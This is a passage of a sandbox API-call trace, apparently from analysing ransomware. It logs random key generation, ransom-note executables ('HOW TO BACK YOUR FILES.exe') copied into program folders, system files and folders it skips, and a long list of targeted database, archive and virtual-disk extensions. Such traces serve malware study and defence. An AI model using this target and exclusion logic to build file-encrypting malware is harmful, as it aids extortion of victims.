dwNumberOfBytesToMap=0xaa0) returned 0x100000 [0096.057] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5189a8) returned 1 [0096.058] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.058] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0096.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0096.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0096.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.058] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.059] CloseHandle (hObject=0x154) returned 1 [0096.059] CloseHandle (hObject=0x17c) returned 1 [0096.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518a30 | out: hHeap=0x4f0000) returned 1 [0096.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.059] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef1c160, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb12385e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="UNINST~1.LOG")) returned 0 [0096.059] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0096.059] ReleaseMutex (hMutex=0xec) returned 1 [0096.059] CloseHandle (hObject=0xec) returned 1 [0096.059] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt" [0096.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51be28 | out: hHeap=0x4f0000) returned 1 [0096.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5309b0 | out: hHeap=0x4f0000) returned 1 [0096.059] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned 47 [0096.059] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7F2EF3DCF58F0519EA267C8D5CB288F7") returned 0xec [0096.059] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0096.059] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt" [0096.059] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0096.059] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\how to back your files.exe"), bFailIfExists=1) returned 0 [0096.060] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0096.060] GetLastError () returned 0x0 [0096.060] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0096.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0096.060] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0096.061] CloseHandle (hObject=0xf4) returned 1 [0096.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0096.061] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0096.061] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc2e07020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc2e07020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0096.061] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.061] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.062] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.062] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc2e07020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc2e07020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.062] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.062] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.062] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.062] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.062] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e07020, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc2e07020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0096.062] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0096.062] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1efb80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1efb80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x593e4d80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x69f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2=".") returned 1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2="..") returned 1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2="windows") returned -1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2="bootmgr") returned 1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2="temp") returned -1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2="pagefile.sys") returned -1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2="boot") returned 1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2="ids.txt") returned 1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2="ntuser.dat") returned 1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2="perflogs") returned -1 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2="MSBuild") returned 1 [0096.062] lstrlenW (lpString="omni.ja") returned 7 [0096.062] lstrcpyW (in: lpString1=0x241e8a8, lpString2="omni.ja" | out: lpString1="omni.ja") returned="omni.ja" [0096.062] lstrlenW (lpString="omni.ja") returned 7 [0096.062] lstrlenW (lpString="Athena865") returned 9 [0096.062] lstrlenW (lpString=".dll") returned 4 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2=".dll") returned 1 [0096.062] lstrlenW (lpString=".lnk") returned 4 [0096.062] lstrcmpiW (lpString1="omni.ja", lpString2=".lnk") returned 1 [0096.063] lstrlenW (lpString=".ini") returned 4 [0096.063] lstrcmpiW (lpString1="omni.ja", lpString2=".ini") returned 1 [0096.063] lstrlenW (lpString=".sys") returned 4 [0096.063] lstrcmpiW (lpString1="omni.ja", lpString2=".sys") returned 1 [0096.063] lstrlenW (lpString="omni.ja") returned 7 [0096.063] lstrlenW (lpString="bak") returned 3 [0096.063] lstrcmpiW (lpString1=".ja", lpString2="bak") returned -1 [0096.063] lstrlenW (lpString="ba_") returned 3 [0096.063] lstrcmpiW (lpString1=".ja", lpString2="ba_") returned -1 [0096.063] lstrlenW (lpString="dbb") returned 3 [0096.063] lstrcmpiW (lpString1=".ja", lpString2="dbb") returned -1 [0096.063] lstrlenW (lpString="vmdk") returned 4 [0096.063] lstrcmpiW (lpString1="i.ja", lpString2="vmdk") returned -1 [0096.063] lstrlenW (lpString="rar") returned 3 [0096.063] lstrcmpiW (lpString1=".ja", lpString2="rar") returned -1 [0096.063] lstrlenW (lpString="zip") returned 3 [0096.063] lstrcmpiW (lpString1=".ja", lpString2="zip") returned -1 [0096.063] lstrlenW (lpString="tgz") returned 3 [0096.063] lstrcmpiW (lpString1=".ja", lpString2="tgz") returned -1 [0096.063] lstrlenW (lpString="vbox") returned 4 [0096.063] lstrcmpiW (lpString1="i.ja", lpString2="vbox") returned -1 [0096.063] lstrlenW (lpString="vdi") returned 3 [0096.063] lstrcmpiW (lpString1=".ja", lpString2="vdi") returned -1 [0096.063] lstrlenW (lpString="vhd") returned 3 [0096.063] lstrcmpiW (lpString1=".ja", lpString2="vhd") returned -1 [0096.063] lstrlenW (lpString="vhdx") returned 4 [0096.063] lstrcmpiW (lpString1="i.ja", lpString2="vhdx") returned -1 [0096.063] lstrlenW (lpString="avhd") returned 4 [0096.063] lstrcmpiW (lpString1="i.ja", lpString2="avhd") returned 1 [0096.063] lstrlenW (lpString="db") returned 2 [0096.063] lstrcmpiW (lpString1="ja", lpString2="db") returned 1 [0096.063] lstrlenW (lpString="db2") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="db2") returned -1 [0096.064] lstrlenW (lpString="db3") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="db3") returned -1 [0096.064] lstrlenW (lpString="dbf") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="dbf") returned -1 [0096.064] lstrlenW (lpString="mdf") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="mdf") returned -1 [0096.064] lstrlenW (lpString="mdb") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="mdb") returned -1 [0096.064] lstrlenW (lpString="sql") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="sql") returned -1 [0096.064] lstrlenW (lpString="sqlite") returned 6 [0096.064] lstrcmpiW (lpString1="mni.ja", lpString2="sqlite") returned -1 [0096.064] lstrlenW (lpString="sqlite3") returned 7 [0096.064] lstrlenW (lpString="sqlitedb") returned 8 [0096.064] lstrlenW (lpString="xml") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="xml") returned -1 [0096.064] lstrlenW (lpString="$er") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="$er") returned 1 [0096.064] lstrlenW (lpString="4dd") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="4dd") returned -1 [0096.064] lstrlenW (lpString="4dl") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="4dl") returned -1 [0096.064] lstrlenW (lpString="^^^") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="^^^") returned -1 [0096.064] lstrlenW (lpString="abs") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="abs") returned -1 [0096.064] lstrlenW (lpString="abx") returned 3 [0096.064] lstrcmpiW (lpString1=".ja", lpString2="abx") returned -1 [0096.064] lstrlenW (lpString="accdb") returned 5 [0096.064] lstrcmpiW (lpString1="ni.ja", lpString2="accdb") returned 1 [0096.064] lstrlenW (lpString="accdc") returned 5 [0096.065] lstrcmpiW (lpString1="ni.ja", lpString2="accdc") returned 1 [0096.065] lstrlenW (lpString="accde") returned 5 [0096.065] lstrcmpiW (lpString1="ni.ja", lpString2="accde") returned 1 [0096.065] lstrlenW (lpString="accdr") returned 5 [0096.065] lstrcmpiW (lpString1="ni.ja", lpString2="accdr") returned 1 [0096.065] lstrlenW (lpString="accdt") returned 5 [0096.065] lstrcmpiW (lpString1="ni.ja", lpString2="accdt") returned 1 [0096.065] lstrlenW (lpString="accdw") returned 5 [0096.065] lstrcmpiW (lpString1="ni.ja", lpString2="accdw") returned 1 [0096.065] lstrlenW (lpString="accft") returned 5 [0096.065] lstrcmpiW (lpString1="ni.ja", lpString2="accft") returned 1 [0096.065] lstrlenW (lpString="adb") returned 3 [0096.065] lstrcmpiW (lpString1=".ja", lpString2="adb") returned -1 [0096.065] lstrlenW (lpString="adb") returned 3 [0096.065] lstrcmpiW (lpString1=".ja", lpString2="adb") returned -1 [0096.065] lstrlenW (lpString="ade") returned 3 [0096.065] lstrcmpiW (lpString1=".ja", lpString2="ade") returned -1 [0096.065] lstrlenW (lpString="adf") returned 3 [0096.065] lstrcmpiW (lpString1=".ja", lpString2="adf") returned -1 [0096.065] lstrlenW (lpString="adn") returned 3 [0096.065] lstrcmpiW (lpString1=".ja", lpString2="adn") returned -1 [0096.065] lstrlenW (lpString="adp") returned 3 [0096.065] lstrcmpiW (lpString1=".ja", lpString2="adp") returned -1 [0096.065] lstrlenW (lpString="alf") returned 3 [0096.065] lstrcmpiW (lpString1=".ja", lpString2="alf") returned -1 [0096.065] lstrlenW (lpString="ask") returned 3 [0096.065] lstrcmpiW (lpString1=".ja", lpString2="ask") returned -1 [0096.065] lstrlenW (lpString="btr") returned 3 [0096.065] lstrcmpiW (lpString1=".ja", lpString2="btr") returned -1 [0096.065] lstrlenW (lpString="cat") returned 3 [0096.065] lstrcmpiW (lpString1=".ja", lpString2="cat") returned -1 [0096.065] lstrlenW (lpString="cdb") returned 3 [0096.065] lstrcmpiW (lpString1=".ja", lpString2="cdb") returned -1 [0096.066] lstrlenW (lpString="ckp") returned 3 [0096.066] lstrcmpiW (lpString1=".ja", lpString2="ckp") returned -1 [0096.066] lstrlenW (lpString="cma") returned 3 [0096.066] lstrcmpiW (lpString1=".ja", lpString2="cma") returned -1 [0096.066] lstrlenW (lpString="cpd") returned 3 [0096.066] lstrcmpiW (lpString1=".ja", lpString2="cpd") returned -1 [0096.066] lstrlenW (lpString="dacpac") returned 6 [0096.066] lstrcmpiW (lpString1="mni.ja", lpString2="dacpac") returned 1 [0096.066] lstrlenW (lpString="dad") returned 3 [0096.066] lstrcmpiW (lpString1=".ja", lpString2="dad") returned -1 [0096.066] lstrlenW (lpString="dadiagrams") returned 10 [0096.066] lstrlenW (lpString="daschema") returned 8 [0096.066] lstrlenW (lpString="db-journal") returned 10 [0096.066] lstrlenW (lpString="db-shm") returned 6 [0096.066] lstrcmpiW (lpString1="mni.ja", lpString2="db-shm") returned 1 [0096.066] lstrlenW (lpString="db-wal") returned 6 [0096.066] lstrcmpiW (lpString1="mni.ja", lpString2="db-wal") returned 1 [0096.066] lstrlenW (lpString="dbc") returned 3 [0096.066] lstrcmpiW (lpString1=".ja", lpString2="dbc") returned -1 [0096.066] lstrlenW (lpString="dbs") returned 3 [0096.066] lstrcmpiW (lpString1=".ja", lpString2="dbs") returned -1 [0096.066] lstrlenW (lpString="dbt") returned 3 [0096.066] lstrcmpiW (lpString1=".ja", lpString2="dbt") returned -1 [0096.066] lstrlenW (lpString="dbv") returned 3 [0096.066] lstrcmpiW (lpString1=".ja", lpString2="dbv") returned -1 [0096.066] lstrlenW (lpString="dbx") returned 3 [0096.066] lstrcmpiW (lpString1=".ja", lpString2="dbx") returned -1 [0096.066] lstrlenW (lpString="dcb") returned 3 [0096.066] lstrcmpiW (lpString1=".ja", lpString2="dcb") returned -1 [0096.066] lstrlenW (lpString="dct") returned 3 [0096.066] lstrcmpiW (lpString1=".ja", lpString2="dct") returned -1 [0096.066] lstrlenW (lpString="dcx") returned 3 [0096.067] lstrcmpiW (lpString1=".ja", lpString2="dcx") returned -1 [0096.067] lstrlenW (lpString="ddl") returned 3 [0096.067] lstrcmpiW (lpString1=".ja", lpString2="ddl") returned -1 [0096.067] lstrlenW (lpString="dlis") returned 4 [0096.068] lstrcmpiW (lpString1="i.ja", lpString2="dlis") returned 1 [0096.068] lstrlenW (lpString="dp1") returned 3 [0096.068] lstrcmpiW (lpString1=".ja", lpString2="dp1") returned -1 [0096.068] lstrlenW (lpString="dqy") returned 3 [0096.068] lstrcmpiW (lpString1=".ja", lpString2="dqy") returned -1 [0096.068] lstrlenW (lpString="dsk") returned 3 [0096.068] lstrcmpiW (lpString1=".ja", lpString2="dsk") returned -1 [0096.068] lstrlenW (lpString="dsn") returned 3 [0096.068] lstrcmpiW (lpString1=".ja", lpString2="dsn") returned -1 [0096.068] lstrlenW (lpString="dtsx") returned 4 [0096.068] lstrcmpiW (lpString1="i.ja", lpString2="dtsx") returned 1 [0096.068] lstrlenW (lpString="dxl") returned 3 [0096.068] lstrcmpiW (lpString1=".ja", lpString2="dxl") returned -1 [0096.068] lstrlenW (lpString="eco") returned 3 [0096.068] lstrcmpiW (lpString1=".ja", lpString2="eco") returned -1 [0096.068] lstrlenW (lpString="ecx") returned 3 [0096.068] lstrcmpiW (lpString1=".ja", lpString2="ecx") returned -1 [0096.068] lstrlenW (lpString="edb") returned 3 [0096.068] lstrcmpiW (lpString1=".ja", lpString2="edb") returned -1 [0096.068] lstrlenW (lpString="epim") returned 4 [0096.068] lstrcmpiW (lpString1="i.ja", lpString2="epim") returned 1 [0096.068] lstrlenW (lpString="fcd") returned 3 [0096.068] lstrcmpiW (lpString1=".ja", lpString2="fcd") returned -1 [0096.068] lstrlenW (lpString="fdb") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="fdb") returned -1 [0096.069] lstrlenW (lpString="fic") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="fic") returned -1 [0096.069] lstrlenW (lpString="flexolibrary") returned 12 [0096.069] lstrlenW (lpString="fm5") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="fm5") returned -1 [0096.069] lstrlenW (lpString="fmp") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="fmp") returned -1 [0096.069] lstrlenW (lpString="fmp12") returned 5 [0096.069] lstrcmpiW (lpString1="ni.ja", lpString2="fmp12") returned 1 [0096.069] lstrlenW (lpString="fmpsl") returned 5 [0096.069] lstrcmpiW (lpString1="ni.ja", lpString2="fmpsl") returned 1 [0096.069] lstrlenW (lpString="fol") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="fol") returned -1 [0096.069] lstrlenW (lpString="fp3") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="fp3") returned -1 [0096.069] lstrlenW (lpString="fp4") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="fp4") returned -1 [0096.069] lstrlenW (lpString="fp5") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="fp5") returned -1 [0096.069] lstrlenW (lpString="fp7") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="fp7") returned -1 [0096.069] lstrlenW (lpString="fpt") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="fpt") returned -1 [0096.069] lstrlenW (lpString="frm") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="frm") returned -1 [0096.069] lstrlenW (lpString="gdb") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="gdb") returned -1 [0096.069] lstrlenW (lpString="gdb") returned 3 [0096.069] lstrcmpiW (lpString1=".ja", lpString2="gdb") returned -1 [0096.070] lstrlenW (lpString="grdb") returned 4 [0096.070] lstrcmpiW (lpString1="i.ja", lpString2="grdb") returned 1 [0096.070] lstrlenW (lpString="gwi") returned 3 [0096.070] lstrcmpiW (lpString1=".ja", lpString2="gwi") returned -1 [0096.070] lstrlenW (lpString="hdb") returned 3 [0096.070] lstrcmpiW (lpString1=".ja", lpString2="hdb") returned -1 [0096.070] lstrlenW (lpString="his") returned 3 [0096.070] lstrcmpiW (lpString1=".ja", lpString2="his") returned -1 [0096.070] lstrlenW (lpString="ib") returned 2 [0096.070] lstrcmpiW (lpString1="ja", lpString2="ib") returned 1 [0096.070] lstrlenW (lpString="idb") returned 3 [0096.070] lstrcmpiW (lpString1=".ja", lpString2="idb") returned -1 [0096.070] lstrlenW (lpString="ihx") returned 3 [0096.070] lstrcmpiW (lpString1=".ja", lpString2="ihx") returned -1 [0096.070] lstrlenW (lpString="itdb") returned 4 [0096.070] lstrcmpiW (lpString1="i.ja", lpString2="itdb") returned -1 [0096.070] lstrlenW (lpString="itw") returned 3 [0096.070] lstrcmpiW (lpString1=".ja", lpString2="itw") returned -1 [0096.070] lstrlenW (lpString="jet") returned 3 [0096.070] lstrcmpiW (lpString1=".ja", lpString2="jet") returned -1 [0096.070] lstrlenW (lpString="jtx") returned 3 [0096.070] lstrcmpiW (lpString1=".ja", lpString2="jtx") returned -1 [0096.070] lstrlenW (lpString="kdb") returned 3 [0096.070] lstrcmpiW (lpString1=".ja", lpString2="kdb") returned -1 [0096.070] lstrlenW (lpString="kexi") returned 4 [0096.070] lstrcmpiW (lpString1="i.ja", lpString2="kexi") returned -1 [0096.070] lstrlenW (lpString="kexic") returned 5 [0096.070] lstrcmpiW (lpString1="ni.ja", lpString2="kexic") returned 1 [0096.070] lstrlenW (lpString="kexis") returned 5 [0096.070] lstrcmpiW (lpString1="ni.ja", lpString2="kexis") returned 1 [0096.071] lstrlenW (lpString="lgc") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="lgc") returned -1 [0096.071] lstrlenW (lpString="lwx") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="lwx") returned -1 [0096.071] lstrlenW (lpString="maf") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="maf") returned -1 [0096.071] lstrlenW (lpString="maq") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="maq") returned -1 [0096.071] lstrlenW (lpString="mar") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="mar") returned -1 [0096.071] lstrlenW (lpString="marshal") returned 7 [0096.071] lstrlenW (lpString="mas") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="mas") returned -1 [0096.071] lstrlenW (lpString="mav") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="mav") returned -1 [0096.071] lstrlenW (lpString="maw") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="maw") returned -1 [0096.071] lstrlenW (lpString="mdbhtml") returned 7 [0096.071] lstrlenW (lpString="mdn") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="mdn") returned -1 [0096.071] lstrlenW (lpString="mdt") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="mdt") returned -1 [0096.071] lstrlenW (lpString="mfd") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="mfd") returned -1 [0096.071] lstrlenW (lpString="mpd") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="mpd") returned -1 [0096.071] lstrlenW (lpString="mrg") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="mrg") returned -1 [0096.071] lstrlenW (lpString="mud") returned 3 [0096.071] lstrcmpiW (lpString1=".ja", lpString2="mud") returned -1 [0096.072] lstrlenW (lpString="mwb") returned 3 [0096.072] lstrcmpiW (lpString1=".ja", lpString2="mwb") returned -1 [0096.072] lstrlenW (lpString="myd") returned 3 [0096.072] lstrcmpiW (lpString1=".ja", lpString2="myd") returned -1 [0096.072] lstrlenW (lpString="ndf") returned 3 [0096.072] lstrcmpiW (lpString1=".ja", lpString2="ndf") returned -1 [0096.072] lstrlenW (lpString="nnt") returned 3 [0096.072] lstrcmpiW (lpString1=".ja", lpString2="nnt") returned -1 [0096.072] lstrlenW (lpString="nrmlib") returned 6 [0096.072] lstrcmpiW (lpString1="mni.ja", lpString2="nrmlib") returned -1 [0096.072] lstrlenW (lpString="ns2") returned 3 [0096.072] lstrcmpiW (lpString1=".ja", lpString2="ns2") returned -1 [0096.072] lstrlenW (lpString="ns3") returned 3 [0096.072] lstrcmpiW (lpString1=".ja", lpString2="ns3") returned -1 [0096.072] lstrlenW (lpString="ns4") returned 3 [0096.072] lstrcmpiW (lpString1=".ja", lpString2="ns4") returned -1 [0096.072] lstrlenW (lpString="nsf") returned 3 [0096.072] lstrcmpiW (lpString1=".ja", lpString2="nsf") returned -1 [0096.072] lstrlenW (lpString="nv") returned 2 [0096.072] lstrcmpiW (lpString1="ja", lpString2="nv") returned -1 [0096.072] lstrlenW (lpString="nv2") returned 3 [0096.072] lstrcmpiW (lpString1=".ja", lpString2="nv2") returned -1 [0096.072] lstrlenW (lpString="nwdb") returned 4 [0096.072] lstrcmpiW (lpString1="i.ja", lpString2="nwdb") returned -1 [0096.072] lstrlenW (lpString="nyf") returned 3 [0096.072] lstrcmpiW (lpString1=".ja", lpString2="nyf") returned -1 [0096.072] lstrlenW (lpString="odb") returned 3 [0096.072] lstrcmpiW (lpString1=".ja", lpString2="odb") returned -1 [0096.072] lstrlenW (lpString="odb") returned 3 [0096.072] lstrcmpiW (lpString1=".ja", lpString2="odb") returned -1 [0096.073] lstrlenW (lpString="oqy") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="oqy") returned -1 [0096.073] lstrlenW (lpString="ora") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="ora") returned -1 [0096.073] lstrlenW (lpString="orx") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="orx") returned -1 [0096.073] lstrlenW (lpString="owc") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="owc") returned -1 [0096.073] lstrlenW (lpString="p96") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="p96") returned -1 [0096.073] lstrlenW (lpString="p97") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="p97") returned -1 [0096.073] lstrlenW (lpString="pan") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="pan") returned -1 [0096.073] lstrlenW (lpString="pdb") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="pdb") returned -1 [0096.073] lstrlenW (lpString="pdm") returned 3 [0096.073] lstrcmpiW (lpString1=".ja", lpString2="pdm") returned -1 [0096.073] lstrlenW (lpString="pnz") returned 3 [0096.073] lstrcmpiW 